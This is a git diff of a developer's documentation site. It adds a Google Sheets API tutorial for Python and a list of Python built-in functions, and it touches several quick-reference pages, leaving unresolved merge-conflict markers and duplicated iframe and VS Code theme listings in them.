+excerpt: lorem-ipsum
+seo:
+    title: ''
+    description: ''
+    robots: []
+    extra: []
+template: docs
+---
+
+
+**If you're maintaining a dataset that frequently has to be updated in a predictable and consistent manner, automating that process has obvious benefits. It might cost some time to set up the code to automate the work, but you'll likely save time in the long run. And, if you're like me, writing the code will be less mind-numbing than repeatedly updating the same spreadsheet over and over again!**![medium blog image](https://miro.medium.com/max/30/1*5RtrFThuAvHiqxxwPp5Ptg.png?q=20)
+
+![medium blog image](https://miro.medium.com/max/709/1*5RtrFThuAvHiqxxwPp5Ptg.png)
+
+Screenshot of Google Cloud Console edited by the author.![medium blog image](https://miro.medium.com/max/30/1*ahdHCrx8ngiDP0dBANKvgg.png?q=20)![medium blog image](https://miro.medium.com/max/709/1*ahdHCrx8ngiDP0dBANKvgg.png)
+
+taken after successfully running the quickstart script.![medium blog image](https://miro.medium.com/max/30/1*E_PHwbLycJ7mQSad2QszKw.png?q=20)![medium blog image](https://miro.medium.com/max/709/1*E_PHwbLycJ7mQSad2QszKw.png)
+
+![medium blog image](https://miro.medium.com/max/709/1*cN14i55zhZfg_X63kQcBEw.png)
+
+.![medium blog image](https://miro.medium.com/max/30/1*wH0Dop5RSg3tS3sEnfIY4g.png?q=20)![medium blog image](https://miro.medium.com/max/709/1*wH0Dop5RSg3tS3sEnfIY4g.png)
+
+Google spreadsheets provide excellent functionality for maintaining basic datasets. Some of the obvious advantages are that they are free, easy to access, and easy to share. Moreover, Google spreadsheets can be especially powerful because of their ability to connect with tools like [Zapier](https://zapier.com/) or [Phantombuster](https://phantombuster.com/) that can create automated workflows between a plethora of different online applications.
+
+Although these kinds of tools usually offer functionalities to automatically manipulate Google spreadsheets as well, I've experienced a lack of flexibility on how to update your spreadsheets. A customized Python script can offer way more flexibility and possibilities.
+
+To update your Google spreadsheets with Python, you can use the Google sheets API. Google offers free API access to several of their workspace apps, like Gmail, Google Calendar, Google Drive, and Google Sheets. You can check out their API library [here](https://console.cloud.google.com/apis/library?project=cellular-axon-327013).
+
+Below I'll walk you through the steps to set up the Google Sheets API with Python and show a couple of basic examples of how to manipulate spreadsheets using the API.
+
+# Setting Up the API
+
+## Step 1: Create a Google Cloud Platform project
+
+To get started with any of the Google workspace APIs, you need to have a so-called Google Cloud Platform (GCP) project. A GCP project forms the basis for all of Google's cloud computing services, including their API library. Setting up a project and using the APIs is completely free. Follow the steps outlined [here](https://developers.google.com/workspace/guides/create-project) to create your GCP project. It should be pretty straightforward.
+
+## Step 2: Create Credentials
+
+After creating a GCP project (step 1), we need to set up our credentials for accessing the API. Our credentials are like a key for the API to know who is requesting access to its data and services. You can follow the steps listed [here](https://developers.google.com/workspace/guides/create-credentials) to _create desktop application credentials_. In my experience, some steps were missing in this tutorial, so I'm giving the detailed version below.
+
+-   Start by navigating back to your [Google Cloud Console](https://console.cloud.google.com/home/dashboard).
+-
+-   Find the _APIs & Services_ tab, and then select the _Credentials_ page
+
+-   Click on \*+Create Credentials \*and select _OAuth client ID_.
+
+<!---->
+
+-   Select _Desktop app_ as the application type and give your app a name. Then click create.
+-
+-   You will be prompted to set up your OAuth consent screen. Follow the steps you are prom
+-
+-   After generating your client ID, you will be able to see it on your credentials page.
+
+-   Click the download button to download a JSON file with your credentials. Rename it to _credentials.json_. You will need this in the next step.
+
+## Step 3: Set up the API
+
+After creating a GCP project and generating your credentials, it is time to connect to the API with Python for the first time. You can follow the steps outlined [here](https://developers.google.com/sheets/api/quickstart/python). The steps given on the Google developers page are pretty self-explanatory. Three things I want to add:
+
+-   Make sure to have a look at the prerequisites before diving in.
+-
+-   Don't forget to move your _credentials.json_ file to the same folder where your _quickstart.py_ file is.
+
+-   Change the URL in the SCOPE list in the quickstart script to _<https://www.googleapis.com/auth/spreadsheets>_ to make sure that you have both read and write access.
+
+If everything goes as expected, you should see this in your browser after running the sample script:
+
+After successfully running the sample, you will also find a _token.json_ file in your workspace. This file is used for authentication on any of your future calls to the API. You're now ready to use the API!
+
+# Using the API
+
+Now that we have set up the API connection, we can use the API to create, read, and edit Google spreadsheets! Extensive documentation on how to use the API can be found [here](https://developers.google.com/sheets/api/guides/create#python). I'll run through a few basic examples below.
+
+## Reading from an existing spreadsheet
+
+Reading from an existing spreadsheet is a key functionality if you want to automate your spreadsheets. Let's create a new spreadsheet in the Google workspace and input some data. Below is a screenshot of the table I created.
+
+The API identifies spreadsheets using a spreadsheet ID. To connect to a spreadsheet that already exists, you can find the spreadsheet ID in the Google Sheets URL as follows:
+
+After identifying the spreadsheet ID of the spreadsheet we just created, we can use the API to connect to the spreadsheet and to read its data. Below is a code example of how to do this. The main functionalities to retrieve data from an existing spreadsheet are provided by sheet.values().get().execute()\* _on line 17_. \*Note that this is where we pass the spreadsheet ID and the range of values in the sheet we want to retrieve. All code before that establishes the connection to the API and is very similar to the _quickstart.py_ file we used to connect to the API for the first time.
+
+The code returns a list of lists containing the data of our spreadsheet. Note that the data is returned row-by-row this way.
+
+## Writing to an existing spreadsheet
+
+Next, let's try to add a new value to the spreadsheet. After all, this is the second key bit we need to automatically update our spreadsheets.
+
+The code below shows how to add a row to the existing data with the values \[6, f]. Similar to reading values from an existing sheet, we need to start with establishing the connection to the API and identifying the spreadsheet ID. Because we are now writing new data to the spreadsheet, it is essential to make sure that you have not specified read-only permission in your SCOPES list (line 5).
+
+The main functionalities to append new data to an existing spreadsheet are provided by \*sheet.values().append().execute() _on lines 17-22_. \*Note that this is where we pass the spreadsheet ID, spreadsheet range, and several other parameters that specify how the data has to be inserted and what data has to be inserted. The _body_ parameter takes a dictionary with values to append to the existing data table, using the same list-of-list format we saw before.
+
+After running the code, the spreadsheet is automatically updated with our new entry. The new row is neatly appended to the data that we manually wrote in the spreadsheet.
+
+# Final Thoughts
+
+The Google workspace API library is a really powerful and relatively user-friendly way to automate workflows related to any of the Google workspace applications. In this tutorial, I walked you through setting up the Google Sheets API with Python and showed a few examples of how to manipulate spreadsheets using this API. The possibilities of how to use this are endless.
+
+Setting up access to the other APIs involves a very similar process and would allow for even more elaborate and complex automation flows.
diff --git a/src/pages/docs/quick-ref/heroku-error-codes.md b/src/pages/docs/quick-ref/heroku-error-codes.md
index 7825208e01..d6949e2548 100644
--- a/src/pages/docs/quick-ref/heroku-error-codes.md
+++ b/src/pages/docs/quick-ref/heroku-error-codes.md
@@ -11,6 +11,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 # Heroku Error Codes
 
 Last updated August 04, 2021
diff --git a/src/pages/docs/quick-ref/index.md b/src/pages/docs/quick-ref/index.md
index 5727187dd0..e9ad320184 100644
--- a/src/pages/docs/quick-ref/index.md
+++ b/src/pages/docs/quick-ref/index.md
@@ -27,6 +27,7 @@ template: docs
 
 # Quick Reference
 
+<<<<<<< HEAD
 <iframe sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://cheatsheets-42.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" ></iframe>
 
 <iframe sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://bgoonz-bookmarks.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" ></iframe>
@@ -34,3 +35,20 @@ template: docs
 <iframe sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://search-awesome.vercel.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" ></iframe>
 
 <iframe sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://sidebar-blog.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" ></iframe>
+=======
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://cheatsheets-42.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://bgoonz-bookmarks.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://search-awesome.vercel.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"    src="https://sidebar-blog.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+>>>>>>> master
diff --git a/src/pages/docs/quick-ref/installation.md b/src/pages/docs/quick-ref/installation.md
index 6c7d617600..845c365383 100644
--- a/src/pages/docs/quick-ref/installation.md
+++ b/src/pages/docs/quick-ref/installation.md
@@ -23,6 +23,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 # Basic Web Development Environment Setup
 
 > Windows Subsystem for Linux (WSL) and Ubuntu
@@ -31,9 +35,15 @@ template: docs
 
 [![Bryan Guner](https://miro.medium.com/fit/c/96/96/1*ao1cHo7EQ4faDV8YNJwh_Q.png)](https://bryanguner.medium.com/?source=post_page-----9f36c3f15afe--------------------------------)
 
+<<<<<<< HEAD
 ![](https://miro.medium.com/max/60/0*aqKP1drNHmNm34zz.jpg?q=20)
 
 ![](https://miro.medium.com/max/1600/0*aqKP1drNHmNm34zz.jpg)
+=======
+![medium blog image](https://miro.medium.com/max/60/0*aqKP1drNHmNm34zz.jpg?q=20)
+
+![medium blog image](https://miro.medium.com/max/1600/0*aqKP1drNHmNm34zz.jpg)
+>>>>>>> master
 
 Test if you have Ubuntu installed by typing "Ubuntu" in the search box in the bottom app bar that reads "Type here to search". If you see a search result that reads **"Ubuntu 20.04 LTS"** with "App" under it, then you have it installed.
 
diff --git a/src/pages/docs/quick-ref/markdown-dropdowns.md b/src/pages/docs/quick-ref/markdown-dropdowns.md
index 9f809a38ff..199eec72d4 100644
--- a/src/pages/docs/quick-ref/markdown-dropdowns.md
+++ b/src/pages/docs/quick-ref/markdown-dropdowns.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 # Markdown Dropdown:
 
 <details>
diff --git a/src/pages/docs/quick-ref/minifiction.md b/src/pages/docs/quick-ref/minifiction.md
index b318a327b0..6070c05316 100644
--- a/src/pages/docs/quick-ref/minifiction.md
+++ b/src/pages/docs/quick-ref/minifiction.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 In production, it is recommended to minify any JavaScript code that is included with your application. **Minification can help your website load several times faster,** especially as the size of your JavaScript source code grows.
 
 Here's one way to set it up:
diff --git a/src/pages/docs/quick-ref/new-repo-instructions.md b/src/pages/docs/quick-ref/new-repo-instructions.md
index e6d003bbeb..8b2a8f4e62 100644
--- a/src/pages/docs/quick-ref/new-repo-instructions.md
+++ b/src/pages/docs/quick-ref/new-repo-instructions.md
@@ -23,6 +23,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 ### ...or create a new repository on the command line
 
 ```
diff --git a/src/pages/docs/quick-ref/pull-request-rubric.md b/src/pages/docs/quick-ref/pull-request-rubric.md
index f56270ce1a..81ef3b97c9 100644
--- a/src/pages/docs/quick-ref/pull-request-rubric.md
+++ b/src/pages/docs/quick-ref/pull-request-rubric.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 ## Pull Requests
 
 | Objective                                                                                                                                                     | Description                                                                                                                                                                                                        | 1-3 (Not Passing)                                                                                                                                                                      | 4 (Passing)                                                                                                                                      | 5-7 (Exceptional)                                                                                                                                                                                              |
diff --git a/src/pages/docs/quick-ref/python-builtin-functions.md b/src/pages/docs/quick-ref/python-builtin-functions.md
new file mode 100644
index 0000000000..d294b66f86
--- /dev/null
+++ b/src/pages/docs/quick-ref/python-builtin-functions.md
@@ -0,0 +1,83 @@
+---
+title: Python Builtin Functions
+weight: 0
+excerpt: Python Builtin Functions
+seo:
+    title: 'Python Builtin Functions'
+    description: 'Python Builtin Functions'
+    robots: []
+    extra: []
+template: docs
+---
+
+```py
+
+abs()			#Returns the absolute value of a number
+all()			#Returns True if all items in an iterable object are true
+any()			#Returns True if any item in an iterable object is true
+ascii()			#Returns a readable version of an object. Replaces none-ascii characters with escape character
+bin()			#Returns the binary version of a number
+bool()			#Returns the boolean value of the specified object
+bytearray()		#Returns an array of bytes
+bytes()			#Returns a bytes object
+callable()		#Returns True if the specified object is callable, otherwise False
+chr()			#Returns a character from the specified Unicode code.
+classmethod()	#Converts a method into a class method
+compile()		#Returns the specified source as an object, ready to be executed
+complex()		#Returns a complex number
+delattr()		#Deletes the specified attribute (property or method) from the specified object
+dict()			#Returns a dictionary (Array)
+dir()			#Returns a list of the specified object's properties and methods
+divmod()		#Returns the quotient and the remainder when argument1 is divided by argument2
+enumerate()		#Takes a collection (e.g. a tuple) and returns it as an enumerate object
+eval()			#Evaluates and executes an expression
+exec()			#Executes the specified code (or object)
+filter()		#Use a filter function to exclude items in an iterable object
+float()			#Returns a floating point number
+format()		#Formats a specified value
+frozenset()		#Returns a frozenset object
+getattr()		#Returns the value of the specified attribute (property or method)
+globals()		#Returns the current global symbol table as a dictionary
+hasattr()		#Returns True if the specified object has the specified attribute (property/method)
+hash()			#Returns the hash value of a specified object
+help()			#Executes the built-in help system
+hex()			#Converts a number into a hexadecimal value
+id()			#Returns the id of an object
+input()			#Allowing user input
+int()			#Returns an integer number
+isinstance()	#Returns True if a specified object is an instance of a specified object
+issubclass()	#Returns True if a specified class is a subclass of a specified object
+iter()			#Returns an iterator object
+len()			#Returns the length of an object
+list()			#Returns a list
+locals()		#Returns an updated dictionary of the current local symbol table
+map()			#Returns the specified iterator with the specified function applied to each item
+max()			#Returns the largest item in an iterable
+memoryview()	#Returns a memory view object
+min()			#Returns the smallest item in an iterable
+next()			#Returns the next item in an iterable
+object()		#Returns a new object
+oct()			#Converts a number into an octal
+open()			#Opens a file and returns a file object
+ord()			#Convert an integer representing the Unicode of the specified character
+pow()			#Returns the value of x to the power of y
+print()			#Prints to the standard output device
+property()		#Gets, sets, deletes a property
+range()			#Returns a sequence of numbers, starting from 0 and increments by 1 (by default)
+repr()			#Returns a readable version of an object
+reversed()		#Returns a reversed iterator
+round()			#Rounds a numbers
+set()			#Returns a new set object
+setattr()		#Sets an attribute (property/method) of an object
+slice()			#Returns a slice object
+sorted()		#Returns a sorted list
+staticmethod()	#Converts a method into a static method
+str()			#Returns a string object
+sum()			#Sums the items of an iterator
+super()			#Returns an object that represents the parent class
+tuple()			#Returns a tuple
+type()			#Returns the type of an object
+vars()			#Returns the __dict__ property of an object
+zip()			#Returns an iterator, from two or more iterators
+
+```
diff --git a/src/pages/docs/quick-ref/quick-links.md b/src/pages/docs/quick-ref/quick-links.md
index 0a14f82799..29aa5c6ff3 100644
--- a/src/pages/docs/quick-ref/quick-links.md
+++ b/src/pages/docs/quick-ref/quick-links.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 # Gitbook Websites:
 
 - [Python](https://bryan-guner.gitbook.io/datastructures-in-pytho/)
diff --git a/src/pages/docs/quick-ref/topRepos.md b/src/pages/docs/quick-ref/topRepos.md
index ec0c4bfc3b..593d08b13e 100644
--- a/src/pages/docs/quick-ref/topRepos.md
+++ b/src/pages/docs/quick-ref/topRepos.md
@@ -23,6 +23,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 # My Top Repos / Websites:
 
 - [Python Practice](https://github.com/bgoonz/PYTHON_PRAC)
diff --git a/src/pages/docs/quick-ref/understanding-path.md b/src/pages/docs/quick-ref/understanding-path.md
index 9d86742811..0cb955564a 100644
--- a/src/pages/docs/quick-ref/understanding-path.md
+++ b/src/pages/docs/quick-ref/understanding-path.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 ### Understanding PATH
 
 ![](images/pypath.jpeg)
diff --git a/src/pages/docs/quick-ref/vscode-themes.md b/src/pages/docs/quick-ref/vscode-themes.md
index 6a5d26da3d..80a61aa67e 100644
--- a/src/pages/docs/quick-ref/vscode-themes.md
+++ b/src/pages/docs/quick-ref/vscode-themes.md
@@ -25,6 +25,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 # My Favorite VSCode Themes
 
 Themes
@@ -39,11 +43,23 @@ Themes
 
 A product icon theme for Visual Studio Code
 
+<<<<<<< HEAD
 <figure><img src="https://cdn-images-1.medium.com/max/800/0*wE_xUE1f0GU8GBGo.png" class="graf-image" /></figure><a href="https://code.visualstudio.com/api/extension-guides/product-icon-theme" class="markup--anchor markup--p-anchor">Product icons themes</a> allow theme authors to customize the icons used in VS Code's built-in views: all icons except file icons (covered by file icon themes) and icons contributed by extensions. This extension uses <a href="https://www.figma.com/community/file/836835755999342788/Microsoft-Fluent-System-Icons" class="markup--anchor markup--p-anchor">Fluent Icons</a>.
 
 ### Install
 
 1.  <span id="5f77">Install the icon theme from the <a href="https://marketplace.visualstudio.com/items?itemName=miguelsolorio.fluent-icons" class="markup--anchor markup--li-anchor">Marketplace</a></span>
+=======
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*wE_xUE1f0GU8GBGo.png" class="graf-image" />
+</figure>
+<a href="https://code.visualstudio.com/api/extension-guides/product-icon-theme" class="markup--anchor markup--p-anchor">Product icons themes</a> allow theme authors to customize the icons used in VS Code's built-in views: all icons except file icons (covered by file icon themes) and icons contributed by extensions. This extension uses <a href="https://www.figma.com/community/file/836835755999342788/Microsoft-Fluent-System-Icons" class="markup--anchor markup--p-anchor">Fluent Icons</a>.
+
+### Install
+
+1.  <span id="5f77">Install the icon theme from the <a href="https://marketplace.visualstudio.com/items?itemName=miguelsolorio.fluent-icons" class="markup--anchor markup--li-anchor">Marketplace</a>
+</span>
+>>>>>>> master
 2.  <span id="6411">Open the command palette (`Ctrl/Cmd + Shift + P`) and search for `Preferences: Product Icon Theme`</span>
 3.  <span id="0613">Select `Fluent Icons`</span>
 
@@ -55,6 +71,7 @@ A product icon theme for Visual Studio Code
 
 Monokai inspired theme for <a href="https://vscodethemes.com/e/pushqrdx.theme-monokai-oblique-vscode" class="markup--anchor markup--p-anchor">Visual Studio Code</a> and <a href="https://github.com/pushqrdx/monokai" class="markup--anchor markup--p-anchor">Visual Studio IDE</a>.
 
+<<<<<<< HEAD
 <figure><img src="https://cdn-images-1.medium.com/max/800/0*43PXQoFMOr28C7_B.png" class="graf-image" /></figure>### <a href="https://vscodethemes.com/e/monokai.theme-monokai-pro-vscode" class="markup--anchor markup--h3-anchor">Monokai Pro by monokai (commercial)</a>
 
 Beautiful functionality for professional developers, from the author of the original Monokai color scheme.
@@ -174,6 +191,193 @@ Collection of 18 light themes separated in 4 groups by background's brightness.
 
 <a href="https://github.com/bgoonz" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://github.com/bgoonz"><strong>bgoonz — Overview</strong><br />
 <em>Web Developer, Electrical Engineer JavaScript | CSS | Bootstrap | Python | React | Node.js | Express | Sequelize…</em>github.com</a><a href="https://github.com/bgoonz" class="js-mixtapeImage mixtapeImage u-ignoreBlock"></a>
+=======
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*43PXQoFMOr28C7_B.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/monokai.theme-monokai-pro-vscode" class="markup--anchor markup--h3-anchor">Monokai Pro by monokai (commercial)</a>
+
+Beautiful functionality for professional developers, from the author of the original Monokai color scheme.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*qwLfKRWuJl0hLZ2m.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/sdras.night-owl" class="markup--anchor markup--h3-anchor">Night Owl by Sarah Drasner</a>
+
+A VS Code theme for the night owls out there. Works well in the daytime, too, but this theme is fine-tuned for those of us who like to code late into the night. Color choices have taken into consideration what is accessible to people with color blindness and in low-light circumstances. Decisions were also based on meaningful contrast for reading comprehension and for optimal razzle dazzle. ✨
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*w4jwUZlACQz-ndRu.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/will-stone.plastic" class="markup--anchor markup--h3-anchor">Plastic by Will Stone</a>
+
+A simple theme.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*xr3ul5T1_CAsnyWR.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/arcticicestudio.nord-visual-studio-code" class="markup--anchor markup--h3-anchor">Nord by arcticicestudio</a>
+
+An arctic, north-bluish clean and elegant Visual Studio Code theme.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*yQMVpYfepk53HNxN.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/daylerees.rainglow" class="markup--anchor markup--h3-anchor">Rainglow by Dayle Rees</a>
+
+Collection of 320+ beautiful syntax and UI themes.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*FpJBK3DBT1FUmuLF.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/mischah.relaxed-theme" class="markup--anchor markup--h3-anchor">Relaxed Theme by Michael Kühnel</a>
+
+A relaxed theme to take a more relaxed view of things.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*bdPe8FIrL8F9qFqx.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/ahmadawais.shades-of-purple" class="markup--anchor markup--h3-anchor">Shades of Purple by Ahmad Awais</a>
+
+⚡ A professional theme with hand-picked & bold shades of purple 💜 to go along with your VS Code. A custom VS Code theme with style.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*lyNNDrSPE5fpaMBZ.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/Endormi.2077-theme" class="markup--anchor markup--h3-anchor">2077 theme by Endormi</a>
+
+Cyberpunk 2077 inspired theme
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*1VdJDagHs-YTIicE.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/dustinsanders.an-old-hope-theme-vscode" class="markup--anchor markup--h3-anchor">An Old Hope Theme by Dustin Sanders</a>
+
+VSCode theme inspired by a galaxy far far away…
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*8JZCxiWSVdupy-HQ.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/wart.ariake-dark" class="markup--anchor markup--h3-anchor">Ariake Dark by wart</a>
+
+Dark VSCode theme inspired by Japanese traditional colors and the poetry composed 1000 years ago.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*Pm8gFuyXa_xNniuP.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/akamud.vscode-theme-onedark" class="markup--anchor markup--h3-anchor">Atom One Dark Theme by Mahmoud Ali</a>
+
+One Dark Theme based on Atom.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*YBzFlHIhCnEXPKsb.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/emroussel.atomize-atom-one-dark-theme" class="markup--anchor markup--h3-anchor">Atomize by emroussel</a>
+
+A detailed and accurate Atom One Dark Theme.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*trGkLz0fLzZMjNX_.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/teabyii.ayu" class="markup--anchor markup--h3-anchor">Ayu by teabyii</a>
+
+A simple theme with bright colors and comes in three versions — dark, light and mirage for all day long comfortable work.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*YL26P4BF0Kz-0ck9.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/eckertalex.borealis" class="markup--anchor markup--h3-anchor">Borealis Theme by Alexander Eckert</a>
+
+VS Code theme inspired by the calm colors of the aurora borealis in Alaska.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*Df5XXUX50azLyP7K.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/ultradracula.captain-sweetheart" class="markup--anchor markup--h3-anchor">Captain Sweetheart by ultradracula</a>
+
+Tuff but sweet theme.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*93oi3wFSt7uH62VR.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/Yummygum.city-lights-theme" class="markup--anchor markup--h3-anchor">City Lights by Yummygum</a>
+
+🏙 Yummygum's Official City Lights suite
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*LwpZlufyoKuCVjqn.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/wesbos.theme-cobalt2" class="markup--anchor markup--h3-anchor">Cobalt2 Theme Official by Wes Bos</a>
+
+🔥 Official theme by Wes Bos.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*8KsnUfTVU-A9Aqcl.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/dracula-theme.theme-dracula" class="markup--anchor markup--h3-anchor">Dracula Official by Dracula Theme</a>
+
+Official Dracula Theme. A dark theme for many editors, shells, and more.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*xGaF3Cs8iHoC5gUr.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/bogdanlazar.edge" class="markup--anchor markup--h3-anchor">Edge by Bogdan Lazar</a>
+
+A simple theme with bright colors in three variants — Night Sky, Serene and Ocean for all day long comfortable work.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*qELxjfUYJNuRISgB.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/fisheva.eva-theme" class="markup--anchor markup--h3-anchor">Eva Theme by fisheva</a>
+
+A colorful and semantic coloring code theme.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*Dzw_28GVEGa10m-9.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/nopjmp.fairyfloss" class="markup--anchor markup--h3-anchor">Fairy Floss by nopjmp and sailorhg</a>
+
+A fun, purple-based pastel/candy/daydream fairyfloss theme made by sailorhg.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*wJkmVL0w1tz4n4_H.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/thomaspink.theme-github" class="markup--anchor markup--h3-anchor">GitHub Theme by Thomas Pink</a>
+
+GitHub Theme for Visual Studio Code.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*H4ZAOtLrAniVho93.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/DimitarNonov.jellybeans-theme" class="markup--anchor markup--h3-anchor">Jellybeans Theme by Dimitar Nonov</a>
+
+Jellybeans Theme for Visual Studio Code.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*oMhZGGsUfm8rqLtJ.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/whizkydee.material-palenight-theme" class="markup--anchor markup--h3-anchor">Material Palenight Theme by whizkydee</a>
+
+An elegant and juicy material-like theme for Visual Studio Code.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*cw3IGUQSFahiPgiH.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/Equinusocio.vsc-material-theme" class="markup--anchor markup--h3-anchor">Material Theme by Mattia Astorino</a>
+
+The most epic theme now for Visual Studio Code.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*2YvsABxfZ4Cv1Y_j.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/u29dc.mno" class="markup--anchor markup--h3-anchor">Mno by u29dc</a>
+
+Minimal monochrome theme.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*_NT4CQBGRRlFQl9q.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/smlombardi.slime" class="markup--anchor markup--h3-anchor">Slime Theme by smlombardi</a>
+
+A dark syntax/workbench theme for Visual Studio Code — optimized for SCSS, HTML, JS, TS, Markdown, and PHP files.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*-ldv4DoOVntnZbBt.png" class="graf-image" />
+</figure>### <a href="https://vscodethemes.com/e/selfrefactor.niketa-theme" class="markup--anchor markup--h3-anchor">Niketa Theme by Dejan Toteff</a>
+
+Collection of 18 light themes separated in 4 groups by background's brightness.
+
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*n_iRSy_1IDOgajFu.png" class="graf-image" />
+</figure>### If you found this guide helpful feel free to checkout my GitHub/gists where I host similar content:
+
+<a href="https://gist.github.com/bgoonz" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://gist.github.com/bgoonz">
+<strong>bgoonz's gists</strong>
+<br />
+<em>Instantly share code, notes, and snippets. Web Developer, Electrical Engineer JavaScript | CSS | Bootstrap | Python |…</em>gist.github.com</a>
+<a href="https://gist.github.com/bgoonz" class="js-mixtapeImage mixtapeImage u-ignoreBlock">
+</a>
+
+<a href="https://github.com/bgoonz" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://github.com/bgoonz">
